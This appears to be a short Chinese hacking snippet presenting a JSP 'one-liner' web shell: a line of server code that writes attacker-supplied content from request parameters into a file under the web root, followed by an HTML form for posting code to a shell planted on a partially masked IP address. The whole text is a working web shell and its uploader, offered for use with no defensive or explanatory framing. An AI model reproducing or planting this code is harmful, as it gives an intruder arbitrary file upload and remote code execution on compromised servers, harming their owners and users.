JSP一句话

1) <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

　　提交客户端:
　　<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
　　<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
　　<input type=submit value="提交">
　　</form>